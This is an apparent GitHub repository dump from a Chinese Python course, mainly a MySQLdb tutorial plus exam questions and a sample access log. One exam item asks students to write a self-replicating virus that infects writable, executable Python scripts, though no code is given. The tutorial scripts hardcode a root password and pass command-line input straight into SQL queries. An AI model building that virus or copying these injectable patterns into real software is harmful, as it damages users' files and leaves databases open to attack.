mSQL 9 | * MySQL 10 | * PostgreSQL 11 | * Microsoft SQL Server 2000 12 | * Informix 13 | * Interbase 14 | * Oracle 15 | * Sybase 16 | 17 | 你可以访问Python数据库接口及API查看详细的支持数据库列表。 18 | 19 | 不同的数据库你需要下载不同的DB API模块,例如你需要访问Oracle数据库和Mysql数据,你需要下载Oracle和MySQL数据库模块。 20 | 21 | DB-API 是一个规范. 它定义了一系列必须的对象和数据库存取方式, 以便为各种各样的底层数据库系统和多种多样的数据库接口程序提供一致的访问接口 。 22 | 23 | Python的DB-API,为大多数的数据库实现了接口,使用它连接各数据库后,就可以用相同的方式操作各数据库。 24 | 25 | Python DB-API使用流程: 26 | 27 | * 引入 API 模块。 28 | * 获取与数据库的连接。 29 | * 执行SQL语句和存储过程。 30 | * 关闭数据库连接。 31 | 32 | # 什么是MySQLdb? 33 | 34 | MySQLdb 是用于Python链接Mysql数据库的接口,它实现了 Python 数据库 API 规范 V2.0,基于 MySQL C API 上建立的。 35 | 36 | # 如何安装MySQLdb? 37 | 38 | 安装MySQLdb,请访问 http://sourceforge.net/projects/mysql-python ,(Linux平台可以访问:https://pypi.python.org/pypi/MySQL-python)从这里可选择适合您的平台的安装包,分为预编译的二进制文件和源代码安装包。 39 | 如果您选择二进制文件发行版本的话,安装过程基本安装提示即可完成。如果从源代码进行安装的话,则需要切换到MySQLdb发行版本的顶级目录,并键入下列命令: 40 | 41 | ```shell 42 | $ gunzip MySQL-python-1.2.2.tar.gz 43 | $ tar -xvf MySQL-python-1.2.2.tar 44 | $ cd MySQL-python-1.2.2 45 | $ python setup.py build 46 | $ python setup.py install 47 | ``` 48 | 49 | ## 下载安装包 50 | 51 | [MySQL-python](https://pypi.python.org/pypi/MySQL-python) 52 | 53 | ```shell 54 | [root@localhost ~]# ls 55 | MySQL-python-1.2.5.zip 56 | [root@localhost ~]# unzip MySQL-python-1.2.5.zip 57 | [root@localhost ~]# cd MySQL-python-1.2.5/ 58 | [root@localhost MySQL-python-1.2.5]# ls 59 | oc MANIFEST.in _mysql_exceptions.py README.md setup_posix.py site.cfg 60 | GPL-2.0 metadata.cfg MySQL_python.egg-info setup.cfg setup_posix.pyc tests 61 | HISTORY _mysql.c PKG-INFO setup_common.py setup.py 62 | INSTALL MySQLdb pymemcompat.h setup_common.pyc setup_windows.py 63 | [root@localhost MySQL-python-1.2.5]# python setup.py build 64 | sh: mysql_config: command not found 65 | Traceback (most recent call last): 66 | File "setup.py", line 17, in 67 | metadata, options = get_config() 68 | File "/root/MySQL-python-1.2.5/setup_posix.py", line 43, in get_config 69 | libs = mysql_config("libs_r") 70 | File "/root/MySQL-python-1.2.5/setup_posix.py", line 25, in mysql_config 71 | raise EnvironmentError("%s not found" % (mysql_config.path,)) 72 | EnvironmentError: mysql_config not found 73 | ``` 74 | 75 | ## 缺少mysql_config命令 76 | 77 | 该命令是由mysql-devel或者mariadb-devel安装生成,因此先检查是否安装,在检车site.cfg中mysql_config的路径是否正确 78 | 79 | ```shell 80 | [root@localhost MySQL-python-1.2.5]# which mysql_config 81 | /usr/bin/which: no mysql_config in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin) 82 | 83 | [root@localhost MySQL-python-1.2.5]# yum install -y mariadb-devel 84 | 85 | [root@localhost MySQL-python-1.2.5]# which mysql_config 86 | /usr/bin/mysql_config 87 | 88 | [root@localhost MySQL-python-1.2.5]# vim site.cfg 89 | mysql_config=/usr/bin/mysql_config 90 | ``` 91 | 92 | ## 开始编译安装 93 | 94 | ```shell 95 | [root@localhost MySQL-python-1.2.5]# python setup.py build 96 | [root@localhost MySQL-python-1.2.5]# python setup.py install 97 | ``` 98 | 99 | ## 加载模块 100 | 101 | ```python 102 | In [2]: import MySQLdb 103 | 104 | In [3]: dir(MySQLdb) 105 | Out[3]: 106 | ['BINARY', 107 | 'Binary', 108 | 'Connect', 109 | 'Connection', 110 | 'DATE', 111 | 'DATETIME', 112 | 'DBAPISet', 113 | 'DataError', 114 | 'DatabaseError', 115 | 'Date', 116 | 'DateFromTicks', 117 | 'Error', 118 | 'FIELD_TYPE', 119 | 'IntegrityError', 120 | 'InterfaceError', 121 | 'InternalError', 122 | 'MySQLError', 123 | 'NULL', 124 | 'NUMBER', 125 | 'NotSupportedError', 126 | 'OperationalError', 127 | 'ProgrammingError', 128 | 'ROWID', 129 | 'STRING', 130 | 'TIME', 131 | 'TIMESTAMP', 132 | 'Time', 133 | 'TimeFromTicks', 134 | 'Timestamp', 135 | 'TimestampFromTicks', 136 | 'Warning', 137 | '__all__', 138 | '__author__', 139 | '__builtins__', 140 | '__doc__', 141 | '__file__', 142 | '__loader__', 143 | '__name__', 144 | '__package__', 145 | '__path__', 146 | '__revision__', 147 | '__version__', 148 | '_mysql', 149 | 'apilevel', 150 | 'connect', 151 | 'connection', 152 | 'constants', 153 | 'debug', 154 | 'escape', 155 | 'escape_dict', 156 | 'escape_sequence', 157 | 'escape_string', 158 | 'get_client_info', 159 | 'paramstyle', 160 | 'release', 161 | 'result', 162 | 'server_end', 163 | 'server_init', 164 | 'string_literal', 165 | 'test_DBAPISet_set_equality', 166 | 'test_DBAPISet_set_equality_membership', 167 | 'test_DBAPISet_set_inequality', 168 | 'test_DBAPISet_set_inequality_membership', 169 | 'thread_safe', 170 | 'threadsafety', 171 | 'times', 172 | 'version_info' 173 | ``` 174 | 175 | # 数据库连接 176 | 177 | 连接数据库前,请先确认以下事项: 178 | 179 | 1. 数据库服务已经启动,并已创建了数据库 test1 180 | 181 | 2. 在test1数据库中您已经创建了表 db1 182 | 183 | 3. t1表字段为 id,first_name,last_name,age,sex,income 184 | 185 | 4. 连接数据库t1使用的用户名为 "root" ,密码为 "uplooking" 186 | 187 | ```shell 188 | [root@localhost ~]# systemctl start mariadb 189 | [root@localhost ~]# mysqladmin -uroot password 'uplooking' 190 | [root@localhost ~]# mysql -uroot -puplooking 191 | Welcome to the MariaDB monitor. Commands end with ; or \g. 192 | Your MariaDB connection id is 4 193 | Server version: 5.5.44-MariaDB-log MariaDB Server 194 | 195 | Copyright (c) 2000, 2015, Oracle, MariaDB Corporation Ab and others. 196 | 197 | Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. 198 | 199 | MariaDB [(none)]> create database db1; 200 | Query OK, 1 row affected (0.01 sec) 201 | 202 | MariaDB [(none)]> create table db1.t1 (id int auto_increment primary key,first_name varchar(50),last_name varchar(50),age int,sex char(1),income float); 203 | Query OK, 0 rows affected (0.09 sec) 204 | ``` 205 | 206 | ## 实例1:连接数据库获取数据库版本信息 207 | 208 | ```shell 209 | [root@localhost python-mysql]# vim getversion.py 210 | #!/usr/bin/python 211 | # -*- coding: UTF-8 -*- 212 | 213 | import MySQLdb 214 | 215 | # 打开数据库连接 216 | db = MySQLdb.connect("localhost","root","uplooking","db1" ) 217 | 218 | # 使用cursor()方法获取操作游标 219 | cursor = db.cursor() 220 | 221 | # 使用execute方法执行SQL语句 222 | cursor.execute("SELECT VERSION()") 223 | 224 | # 使用 fetchone() 方法获取一条数据库。 225 | data = cursor.fetchone() 226 | 227 | print "Database version : %s " % data 228 | 229 | # 关闭数据库连接 230 | db.close() 231 | 232 | 233 | # 执行结果 234 | [root@localhost python-mysql]# python getversion.py 235 | Database version : 5.5.44-MariaDB-log 236 | ``` 237 | 238 | ## 实例2:查询mysql中的db1.t1表的结构(数据字典)信息 239 | 240 | ```python 241 | #!/usr/bin/python 242 | # -*- coding: UTF-8 -*- 243 | 244 | import MySQLdb 245 | import sys 246 | 247 | sql=sys.argv[1] 248 | 249 | # 打开数据库连接 250 | db = MySQLdb.connect("localhost","root","uplooking","db1" ) 251 | 252 | # 使用cursor()方法获取操作游标 253 | cursor = db.cursor() 254 | 255 | # 使用execute方法执行SQL语句 256 | cursor.execute(sql) 257 | 258 | # 使用 fetchone() 方法获取一条数据库。 259 | data = cursor.fetchall() 260 | 261 | for i in data: 262 | for j in i: 263 | sys.stdout.write(str(j)+'\t') 264 | sys.stdout.write('\n') 265 | 266 | 267 | # 关闭数据库连接 268 | db.close() 269 | ``` 270 | 271 | 脚本带参数执行: 272 | 273 | ```shell 274 | [root@localhost python-mysql]# python select.py "desc db1.t1" 275 | id int(11) NO PRI None auto_increment 276 | first_name varchar(50) YES None 277 | last_name varchar(50) YES None 278 | age int(11) YES None 279 | sex char(1) YES None 280 | income float YES None 281 | ``` 282 | 283 | 数据库查询操作 284 | * Python查询Mysql使用 fetchone() 方法获取单条数据, 使用fetchall() 方法获取多条数据。 285 | * fetchone(): 该方法获取下一个查询结果集。结果集是一个对象 286 | * fetchall():接收全部的返回结果行. 287 | * rowcount: 这是一个只读属性,并返回执行execute()方法后影响的行数。 288 | 289 | ## 实例3:获取mysql数据库的变量值 290 | 291 | ```python 292 | #!/usr/bin/python 293 | # -*- coding: UTF-8 -*- 294 | 295 | import MySQLdb 296 | import sys 297 | 298 | key=sys.argv[1] 299 | sql="select @@"+key 300 | 301 | # 打开数据库连接 302 | db = MySQLdb.connect("localhost","root","uplooking","db1" ) 303 | 304 | # 使用cursor()方法获取操作游标 305 | cursor = db.cursor() 306 | 307 | # 使用execute方法执行SQL语句 308 | cursor.execute(sql) 309 | 310 | # 使用 fetchone() 方法获取一条数据库。 311 | data = cursor.fetchall() 312 | 313 | print "{} : {}".format(sys.argv[1],data[0]) 314 | 315 | 316 | # 关闭数据库连接 317 | db.close() 318 | ``` 319 | 320 | 获取innodb_version\innodb_buffer_pool_size 321 | 322 | ```shell 323 | [root@localhost python-mysql]# python Get_variables.py innodb_version 324 | innodb_version : 5.5.43-MariaDB-37.2 325 | [root@localhost python-mysql]# vim Get_variables.py 326 | [root@localhost python-mysql]# python Get_variables.py innodb_buffer_pool_size 327 | innodb_buffer_pool_size : 134217728 328 | ``` 329 | 330 | 331 | ## 实例4:创建数据库表 332 | 333 | 如果数据库连接存在我们可以使用execute()方法来为数据库创建表,如下所示创建表t2: 334 | 335 | ```python 336 | #!/usr/bin/python 337 | # -*- coding: UTF-8 -*- 338 | 339 | import MySQLdb 340 | 341 | # 打开数据库连接 342 | db = MySQLdb.connect("localhost","root","uplooking","db1" ) 343 | 344 | # 使用cursor()方法获取操作游标 345 | cursor = db.cursor() 346 | 347 | # 如果数据表已经存在使用 execute() 方法删除表。 348 | cursor.execute("DROP TABLE IF EXISTS t2") 349 | 350 | # 创建数据表SQL语句 351 | sql = """CREATE TABLE t2 ( 352 | FIRST_NAME CHAR(20) NOT NULL, 353 | LAST_NAME CHAR(20), 354 | AGE INT, 355 | SEX CHAR(1), 356 | INCOME FLOAT )""" 357 | 358 | cursor.execute(sql) 359 | 360 | # 关闭数据库连接 361 | db.close() 362 | ``` 363 | 364 | 执行该脚本 365 | 366 | ```shell 367 | [root@localhost python-mysql]# python createdb.py 368 | createdb.py:13: Warning: Unknown table 't2' 369 | cursor.execute("DROP TABLE IF EXISTS t2") 370 | 371 | [root@localhost python-mysql]# ls 372 | createdb.py Get_variables.py getversion.py select.py 373 | 374 | #查看表的结构 375 | 376 | [root@localhost python-mysql]# python select.py "desc db1.t2" 377 | FIRST_NAME char(20) NO None 378 | LAST_NAME char(20) YES None 379 | AGE int(11) YES None 380 | SEX char(1) YES None 381 | INCOME float YES None 382 | ``` 383 | 384 | ## 实例5:数据库插入操作 385 | 386 | 387 | 以下实例使用执行 SQL INSERT 语句向表 db1.t1 插入记录: 388 | 389 | ```python 390 | #!/usr/bin/python 391 | # -*- coding: UTF-8 -*- 392 | 393 | import MySQLdb 394 | 395 | # 打开数据库连接 396 | db = MySQLdb.connect("localhost","root","uplooking","db1" ) 397 | 398 | # 使用cursor()方法获取操作游标 399 | cursor = db.cursor() 400 | 401 | # SQL 插入语句 402 | sql = """INSERT INTO t1(FIRST_NAME, 403 | LAST_NAME, AGE, SEX, INCOME) 404 | VALUES ('Mac', 'Mohan', 20, 'M', 2000)""" 405 | try: 406 | # 执行sql语句 407 | cursor.execute(sql) 408 | # 提交到数据库执行 409 | db.commit() 410 | except: 411 | # Rollback in case there is any error 412 | db.rollback() 413 | 414 | # 关闭数据库连接 415 | db.close() 416 | ``` 417 | 418 | 执行该脚本,并查看db1.t1表中的所有内容 419 | 420 | ```shell 421 | [root@localhost python-mysql]# python insert_table.py 422 | [root@localhost python-mysql]# python select.py "select * from db1.t1" 423 | 1 Mac Mohan 20 M 2000.0 424 | ``` 425 | 426 | ## 实例6:删除操作 427 | 428 | 删除操作用于删除数据表中的数据,以下实例演示了删除数据表 db1 中 AGE 大于 20 的所有数据: 429 | 430 | ```python 431 | #!/usr/bin/python 432 | # -*- coding: UTF-8 -*- 433 | 434 | import MySQLdb 435 | 436 | # 打开数据库连接 437 | db = MySQLdb.connect("localhost","root","uplooking","db1" )) 438 | 439 | # 使用cursor()方法获取操作游标 440 | cursor = db.cursor() 441 | 442 | # SQL 删除语句 443 | sql = "DELETE FROM db1.t1 WHERE age > 20" 444 | try: 445 | # 执行SQL语句 446 | cursor.execute(sql) 447 | # 提交修改 448 | db.commit() 449 | except: 450 | # 发生错误时回滚 451 | db.rollback() 452 | 453 | # 关闭连接 454 | db.close() 455 | ``` 456 | 457 | ## 实例7:执行事务 458 | 459 | 事务机制可以确保数据一致性。 460 | 461 | 事务应该具有4个属性:原子性、一致性、隔离性、持久性。这四个属性通常称为ACID特性。 462 | 463 | * 原子性(atomicity)。一个事务是一个不可分割的工作单位,事务中包括的诸操作要么都做,要么都不做。 464 | * 一致性(consistency)。事务必须是使数据库从一个一致性状态变到另一个一致性状态。一致性与原子性是密切相关的。 465 | * 隔离性(isolation)。一个事务的执行不能被其他事务干扰。即一个事务内部的操作及使用的数据对并发的其他事务是隔离的,并发执行的各个事务之间不能互相干扰。 466 | * 持久性(durability)。持续性也称永久性(permanence),指一个事务一旦提交,它对数据库中数据的改变就应该是永久性的。接下来的其他操作或故障不应该对其有任何影响。 467 | 468 | Python DB API 2.0 的事务提供了两个方法 commit 或 rollback。 469 | 470 | 实例: 471 | 472 | ```python 473 | # SQL删除记录语句 474 | sql = "DELETE FROM db1.t1 WHERE age > 20" 475 | try: 476 | # 执行SQL语句 477 | cursor.execute(sql) 478 | # 向数据库提交 479 | db.commit() 480 | except: 481 | # 发生错误时回滚 482 | db.rollback() 483 | ``` 484 | 485 | 对于支持事务的数据库, 在Python数据库编程中,当游标建立之时,就自动开始了一个隐形的数据库事务。 486 | 487 | commit()方法游标的所有更新操作,rollback()方法回滚当前游标的所有操作。每一个方法都开始了一个新的事务。 488 | 489 | 490 | # 错误处理 491 | 492 | DB API中定义了一些数据库操作的错误及异常,下表列出了这些错误和异常: 493 | 494 | |异常| 描述| 495 | |:--|:--| 496 | |Warning| 当有严重警告时触发,例如插入数据是被截断等等。必须是 StandardError 的子类。| 497 | |Error| 警告以外所有其他错误类。必须是 StandardError 的子类。| 498 | |InterfaceError| 当有数据库接口模块本身的错误(而不是数据库的错误)发生时触发。 必须是Error的子类。| 499 | |DatabaseError| 和数据库有关的错误发生时触发。 必须是Error的子类。| 500 | |DataError| 当有数据处理时的错误发生时触发,例如:除零错误,数据超范围等等。 必须是DatabaseError的子类。| 501 | |OperationalError| 指非用户控制的,而是操作数据库时发生的错误。例如:连接意外断开、 数据库名未找到、事务处理失败、内存分配错误等等操作数据库是发生的错误。 必须是DatabaseError的子类。| 502 | |IntegrityError| 完整性相关的错误,例如外键检查失败等。必须是DatabaseError子类。| 503 | |InternalError| 数据库的内部错误,例如游标(cursor)失效了、事务同步失败等等。 必须是DatabaseError子类。| 504 | |ProgrammingError| 程序错误,例如数据表(table)没找到或已存在、SQL语句语法错误、 参数数量错误等等。必须是DatabaseError的子类。| 505 | |NotSupportedError| 不支持错误,指使用了数据库不支持的函数或API等。例如在连接对象上 使用.rollback()函数,然而数据库并不支持事务或者事务已关闭。 必须是DatabaseError的子类。| 506 | 507 | 508 | # 总结 509 | 510 | * 安装模块 mysql-python 511 | * 加载模块 import MySQLdb 512 | * 打开数据库连接 db = MySQLdb.connect(host,user,password,database)) 513 | * 使用cursor()方法获取操作游标事务开始 cursor = db.cursor() 514 | * 执行SQL语句 cursor.execute(sql) 515 | * 向数据库提交 db.commit() 516 | * 发生错误时回滚 db.rollback() 517 | * 关闭连接 db.close() 518 | 519 | -------------------------------------------------------------------------------- /08-checkio.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/08-checkio.md -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 尚观科技云计算课程_PY100_Python脚本编程及系统大规模自动化 2 | -------------------------------------------------------------------------------- /exam/python考核.md: -------------------------------------------------------------------------------- 1 | # python考核 2 | 3 | * 以下的代码的输出将是什么? 说出你的答案并解释。 4 | 5 | ```python 6 | class Parent(object): 7 | x = 1 8 | 9 | class Child1(Parent): 10 | pass 11 | 12 | class Child2(Parent): 13 | pass 14 | 15 | print Parent.x, Child1.x, Child2.x 16 | Child1.x = 2 17 | print Parent.x, Child1.x, Child2.x 18 | Parent.x = 3 19 | print Parent.x, Child1.x, Child2.x 20 | ``` 21 | 22 | * 以下的代码的输出将是什么? 说出你的答案并解释? 23 | 24 | ```python 25 | def div1(x,y): 26 | print("%s/%s = %s" % (x, y, x/y)) 27 | 28 | def div2(x,y): 29 | print("%s//%s = %s" % (x, y, x//y)) 30 | 31 | div1(5,2) 32 | div1(5.,2) 33 | div2(5,2) 34 | div2(5.,2.) 35 | ``` 36 | 37 | * 下面这段代码的输出是什么: 38 | 39 | ```python 40 | def f(x,l=[]): 41 | for i in range(x): 42 | l.append(i*i) 43 | print(l) 44 | 45 | f(2) 46 | f(3,[3,2,1]) 47 | f(3) 48 | ``` 49 | 50 | * 写出Python生成指定长度的斐波那契数列程序。 51 | 52 | * 简述一下Unicode,UTF-8和GB2312的区别和联系。 53 | 54 | * `*args`, `**kwargs是什么东西`? 我们为什么会用它? 55 | 56 | * Python里面如何实现tuple和list的转换? 57 | 58 | * for循环9*9乘法表 59 | 60 | * 自定义模块,加载模式,使用模块的方法,数据(使用__name__属性) 61 | 62 | * 使用subprocess模块完成病毒自我复制 63 | ```shell 64 | 1.判断当前病毒是否已经在运行,如果是,那么我就不再运行 65 | 2.病毒感染对象为python脚本(Python script) 66 | 3.可执行的可写的[ -w file -a -x file ] 67 | 4.感染病毒的脚本执行的时候会额外输出"I am evil!" 68 | 5.病毒能够自我复制 69 | 6.如果已经被感染,就不再感染 70 | ``` 71 | 72 | * 使用subprocess模块完成批量添加用户 73 | ```shell 74 | /tmp/useraddlist1 75 | dabao 888 xuexi,it uplooking 76 | lucy 889 sales,it uplooking 77 | lily 899 pro,aa uplooking 78 | ``` 79 | * 虚拟环境的搭建,激活和退出;第三方包的安装 ​ 80 | 81 | * 获取访问日志中访问次数最多的ip地址 82 | -------------------------------------------------------------------------------- /pdf/01-python.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/01-python.pdf -------------------------------------------------------------------------------- /pdf/02-python.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/02-python.pdf -------------------------------------------------------------------------------- /pdf/03-python.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/03-python.pdf -------------------------------------------------------------------------------- /pdf/04-python.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/04-python.pdf -------------------------------------------------------------------------------- /pdf/05-python.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/05-python.pdf -------------------------------------------------------------------------------- /pdf/06-python.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/06-python.pdf -------------------------------------------------------------------------------- /pdf/07-python连接mysql之MySQLdb模块.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/07-python连接mysql之MySQLdb模块.pdf -------------------------------------------------------------------------------- /pdf/python考核.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pdf/python考核.pdf -------------------------------------------------------------------------------- /pic/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pic/01.png -------------------------------------------------------------------------------- /pic/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pic/02.png -------------------------------------------------------------------------------- /pic/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pic/03.png -------------------------------------------------------------------------------- /pic/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/pic/04.png -------------------------------------------------------------------------------- /sides/MySQL-python-1.2.5.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/sides/MySQL-python-1.2.5.zip -------------------------------------------------------------------------------- /sides/access_log: -------------------------------------------------------------------------------- 1 | ::1 - - [09/Oct/2016:10:50:02 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 2 | ::1 - - [09/Oct/2016:10:50:02 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 3 | ::1 - - [09/Oct/2016:10:50:02 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 4 | ::1 - - [09/Oct/2016:10:50:02 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 5 | 172.25.254.250 - - [09/Oct/2016:12:12:31 +0800] "GET /cgi-bin/register.sh?ucfname=foundation0.ilt.example.com&msg=Spawned%20rht-vmctl%20-q%20remove%20everything HTTP/1.1" 200 112 "-" "Wget/1.14 (linux-gnu)" 6 | 172.25.254.250 - - [09/Oct/2016:12:12:31 +0800] "GET /cgi-bin/register.sh?ucfname=foundation0.ilt.example.com&msg=Spawned%20rht-vmctl%20-q%20remove%20everything HTTP/1.1" 200 112 "-" "Wget/1.14 (linux-gnu)" 7 | 172.25.254.250 - - [09/Oct/2016:12:12:33 +0800] "GET /cgi-bin/register.sh?ucfname=foundation0.ilt.example.com&msg=Completed%20rht-vmctl%20-q%20remove%20everything HTTP/1.1" 200 114 "-" "Wget/1.14 (linux-gnu)" 8 | 172.25.254.250 - - [09/Oct/2016:12:12:37 +0800] "GET /cgi-bin/register.sh?ucfname=foundation0.ilt.example.com&msg=Completed%20rht-vmctl%20-q%20remove%20everything HTTP/1.1" 200 114 "-" "Wget/1.14 (linux-gnu)" 9 | ::1 - - [09/Oct/2016:20:31:43 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 10 | ::1 - - [10/Oct/2016:16:47:42 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 11 | 172.25.254.250 - - [11/Oct/2016:09:30:43 +0800] "GET /rhel7.2/x86_64/vms/db100-mastera.xml HTTP/1.1" 200 1622 "-" "curl/7.29.0" 12 | 172.25.254.250 - - [11/Oct/2016:09:30:43 +0800] "GET /rhel7.2/x86_64/vms/db100-mastera-vda.qcow2 HTTP/1.1" 200 519123456 "-" "curl/7.29.0" 13 | 172.25.254.250 - - [11/Oct/2016:09:30:48 +0800] "GET /rhel7.2/x86_64/vms/db100-mastera-vdb.qcow2 HTTP/1.1" 200 197120 "-" "curl/7.29.0" 14 | ::1 - - [13/Oct/2016:16:55:44 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 15 | 172.25.254.250 - - [14/Oct/2016:12:53:52 +0800] "GET /rhel7.2/x86_64/vms/db100-masterb.xml HTTP/1.1" 200 1622 "-" "curl/7.29.0" 16 | 172.25.254.250 - - [14/Oct/2016:12:53:53 +0800] "GET /rhel7.2/x86_64/vms/db100-masterb-vda.qcow2 HTTP/1.1" 200 519123456 "-" "curl/7.29.0" 17 | 172.25.254.250 - - [14/Oct/2016:12:53:58 +0800] "GET /rhel7.2/x86_64/vms/db100-masterb-vdb.qcow2 HTTP/1.1" 200 197120 "-" "curl/7.29.0" 18 | ::1 - - [17/Oct/2016:10:13:02 +0800] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 (internal dummy connection)" 19 | -------------------------------------------------------------------------------- /sides/ipython-0.13.1.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/sides/ipython-0.13.1.tar.gz -------------------------------------------------------------------------------- /sides/paramiko-1.7.5.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/sides/paramiko-1.7.5.zip -------------------------------------------------------------------------------- /sides/psutil-4.3.1.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/sides/psutil-4.3.1.tar.gz -------------------------------------------------------------------------------- /sides/pycrypto-2.6.1.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/sides/pycrypto-2.6.1.tar.gz -------------------------------------------------------------------------------- /sides/pygame-1.9.2-cp27-cp27mu-manylinux1_x86_64.whl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/sides/pygame-1.9.2-cp27-cp27mu-manylinux1_x86_64.whl -------------------------------------------------------------------------------- /sides/redis-py.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_python/1fd2f7f0d8034f50b184cdaebf1d895e0de894b8/sides/redis-py.tar --------------------------------------------------------------------------------